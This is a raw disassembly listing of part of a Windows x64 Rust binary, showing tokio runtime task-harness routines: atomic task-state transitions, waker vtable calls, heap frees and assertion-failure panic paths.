lock dec qword [rax]
jne 0x14007dd2d
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0xa0]
lea r8d, [rax - 3]
mov r9, rax
add r9, 0xfffffffffffffffe
xor edx, edx
cmp r8b, 2
cmovb rdx, r9
cmp rdx, 1
je 0x14007dd63
test rdx, rdx
jne 0x14007dda7
cmp al, 2
je 0x14007dda7
call fcn.140058330
jmp 0x14007dda7
cmp qword [rcx], 0
je 0x14007dda7
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x14007dda7
mov rbx, qword [rsi + 0x40]
mov rax, qword [rbx]
test rax, rax
je 0x14007dd83
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14007dda7
cmp qword [rbx + 0x10], 0x11
jb 0x14007dd95
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xb8]
test rax, rax
je 0x14007ddbd
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14007e9ed
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0xa0]
lea r8d, [rax - 3]
mov r9, rax
add r9, 0xfffffffffffffffe
xor edx, edx
cmp r8b, 2
cmovb rdx, r9
cmp rdx, 1
je 0x14007ea23
test rdx, rdx
jne 0x14007ea67
cmp al, 2
je 0x14007ea67
call fcn.140058330
jmp 0x14007ea67
cmp qword [rcx], 0
je 0x14007ea67
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x14007ea67
mov rbx, qword [rsi + 0x40]
mov rax, qword [rbx]
test rax, rax
je 0x14007ea43
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14007ea67
cmp qword [rbx + 0x10], 0x11
jb 0x14007ea55
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xb8]
test rax, rax
je 0x14007ea7d
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007ec00
test al, 1
je 0x14007edf4
test al, 2
jne 0x14007ee0c
test al, 8
jne 0x14007ec51
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14007ec78
xorps xmm6, xmm6
cmp eax, 1
je 0x14007eca5
jmp 0x14007ecd1
test al, 0x10
je 0x14007ed4d
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x14007ee90
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x10]
jmp 0x14007ed4d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140067cd0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14007ed4d
cmp eax, 1
je 0x14007ed33
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff010
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14007ee24
jne 0x14007ede1
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14007ed9c
mov rcx, rdi
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x14007edbb
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007eef0
test al, 1
je 0x14007f0d4
test al, 2
jne 0x14007f0ec
test al, 8
jne 0x14007ef3e
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14007ef5f
xorps xmm6, xmm6
cmp eax, 1
je 0x14007ef8c
jmp 0x14007efb8
test al, 0x10
je 0x14007f033
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x14007f170
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x10]
jmp 0x14007f033
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14007f033
cmp eax, 1
je 0x14007f019
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff010
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14007f104
jne 0x14007f0c1
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14007f082
mov rcx, rdi
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x14007f09b
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
sub rsp, 0x238
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007f1c0
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007f3b0
test al, 1
je 0x14007f55f
test al, 2
jne 0x14007f577
test al, 8
jne 0x14007f401
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14007f428
xorps xmm6, xmm6
cmp eax, 1
je 0x14007f455
jmp 0x14007f481
test al, 0x10
je 0x14007f4fc
mov rax, qword [rsi + 0xb8]
test rax, rax
je 0x14007f5fb
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x10]
jmp 0x14007f4fc
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14007f4fc
cmp eax, 1
je 0x14007f4e2
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff3b0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14007f58f
jne 0x14007f54c
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp 0x14007dd10
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007f660
push rsi
push rdi
sub rsp, 0x238
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007f900
test al, 1
je 0x14007f9ef
test al, 2
jne 0x14007fa07
test al, 8
jne 0x14007f93b
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x50], 7
lea rdx, [rsp + 0x50]
call fcn.140069050
jmp 0x14007f959
test al, 0x10
je 0x14007f959
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x14007fa8b
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff3b0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14007fa1f
jne 0x14007f9e4
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14007f9a8
mov rcx, rdi
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007d4a0
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x14007f9c7
nop
add rsp, 0x238
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x50]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007faf0
test al, 1
je 0x14007fce4
test al, 2
jne 0x14007fcfc
test al, 8
jne 0x14007fb41
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14007fb68
xorps xmm6, xmm6
cmp eax, 1
je 0x14007fb95
jmp 0x14007fbc1
test al, 0x10
je 0x14007fc3d
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x14007fd80
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x10]
jmp 0x14007fc3d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14007fc3d
cmp eax, 1
je 0x14007fc23
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff010
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14007fd14
jne 0x14007fcd1
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14007fc8c
mov rcx, rdi
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x14007fcab
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14007fde0
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400800d0
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400803c0
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400806a0
test al, 1
je 0x140080884
test al, 2
jne 0x14008089c
test al, 8
jne 0x1400806ee
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14008070f
xorps xmm6, xmm6
cmp eax, 1
je 0x14008073c
jmp 0x140080768
test al, 0x10
je 0x1400807e3
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x140080920
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x10]
jmp 0x1400807e3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400807e3
cmp eax, 1
je 0x1400807c9
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff3b0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400808b4
jne 0x140080871
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140080832
mov rcx, rdi
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x14008084b
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140080980
test al, 1
je 0x140080b74
test al, 2
jne 0x140080b8c
test al, 8
jne 0x1400809d1
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400809f8
xorps xmm6, xmm6
cmp eax, 1
je 0x140080a25
jmp 0x140080a51
test al, 0x10
je 0x140080acd
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x140080c10
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x10]
jmp 0x140080acd
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140080acd
cmp eax, 1
je 0x140080ab3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff3b0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140080ba4
jne 0x140080b61
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140080b1c
mov rcx, rdi
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x140080b3b
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
